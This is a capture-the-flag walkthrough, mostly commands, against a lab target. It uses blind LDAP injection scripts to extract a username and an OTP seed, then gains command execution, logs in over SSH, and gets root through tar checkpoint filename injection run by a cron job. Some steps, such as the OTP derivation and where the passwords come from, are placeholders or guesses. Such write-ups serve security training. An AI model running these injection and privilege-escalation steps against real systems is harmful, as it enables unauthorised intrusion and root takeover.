CTF

Enumerate service versions and confirm SSH and HTTP are the only exposed attack surface.

$ nmap -Pn -sV -p 22,80 --script http-title,ssh-hostkey $TARGET

Inspect the login page structure; note the inputUsername and inputOTP field names for later injection.

$ curl -sS -i http://$TARGET/login.php

True-positive probe: if the response contains 'Cannot login', at least one username starting with 'a' exists in LDAP.

$ curl -sS -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'inputUsername=a%252A&inputOTP=0' http://$TARGET/login.php

Control probe: this impossible prefix should return 'User … not found', confirming the oracle works.

$ curl -sS -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'inputUsername=zzzzzzzz%252A&inputOTP=0' http://$TARGET/login.php

Brute-forces the LDAP username prefix one character at a time using the boolean oracle.

$ python3 - <<PY
import requests, string
s = requests.Session()
u = "http://$TARGET/login.php"
H = {'Content-Type': 'application/x-www-form-urlencoded'}
known = ''
for _ in range(24):
    for c in string.ascii_lowercase + string.digits + '._-':
        probe = known + c
        encoded = probe.replace('*', '%252A') + '%252A'
        r = s.post(u, data=f'inputUsername={encoded}&inputOTP=0', headers=H)
        if 'Cannot login' in r.text:
            known += c
            print('STEP', known)
            break
    else:
        break
print('USERNAME:', known)
PY

Extracts the LDAP pager attribute digit-by-digit; prints the growing token after each confirmed digit.

$ python3 - <<PY
import requests
s = requests.Session()
u = "http://$TARGET/login.php"
H = {'Content-Type': 'application/x-www-form-urlencoded'}
known = ''
for pos in range(24):
    matched = False
    for d in '0123456789':
        test = known + d
        # inject: ldapuser)(pager=<test>*
        payload = f'ldapuser%29%28pager%3d{test}%252A'
        r = s.post(u, data=f'inputUsername={payload}&inputOTP=0', headers=H)
        if 'Cannot login' in r.text:
            known = test
            print(pos, known)
            matched = True
            break
    if not matched:
        break
print('PAGER TOKEN:', known)
PY

Derive the current OTP from the recovered pager seed; the exact derivation algorithm depends on the application's implementation — adjust digest and modulus to match.

$ python3 -c "
import hmac, hashlib, struct, time
token_bytes = bytes.fromhex('<pager-token-as-hex>')  # convert recovered decimal token to bytes
t = int(time.time()) // 30
msg = struct.pack('>Q', t)
h = hmac.new(token_bytes, msg, hashlib.sha1).digest()
o = h[-1] & 0xf
print((struct.unpack('>I', h[o:o+4])[0] & 0x7fffffff) % 10**8)
"

Submit a benign command (id) with the derived OTP to confirm RCE as the apache user.

$ curl -sS --max-time 10 -b /tmp/ctf_bypass.cookies -c /tmp/ctf_bypass.cookies -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data "inputCmd=id&inputOTP=$PASSWORD2&submit=Submit" http://$TARGET/page.php

Authenticate as ldapuser with the LDAP-extracted password; output confirms uid and prints the user flag (<user.txt>).

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=6 -p 22 ldapuser@$TARGET 'id; pwd; cat ~/user.txt'

From ldapuser's SSH session: create the payload script that writes a SUID-root copy of bash.

$ echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/privesc.sh && chmod +x /tmp/privesc.sh

Create the malicious flag-filename files in the directory processed by the cron tar job; replace the path with the actual writable cron target directory discovered during enumeration.

$ cd /path/to/cron/archive/dir && printf '' > '--checkpoint=1' && printf '' > '--checkpoint-action=exec=sh /tmp/privesc.sh'

Wait for the cron job to fire (typically every minute) and confirm the SUID bash copy was created.

$ sleep 65 && ls -la /tmp/rootbash

Invoke the SUID bash with -p to preserve the effective UID=root and read the root flag (<root.txt>).

$ /tmp/rootbash -p -c 'id; cat /root/root.txt'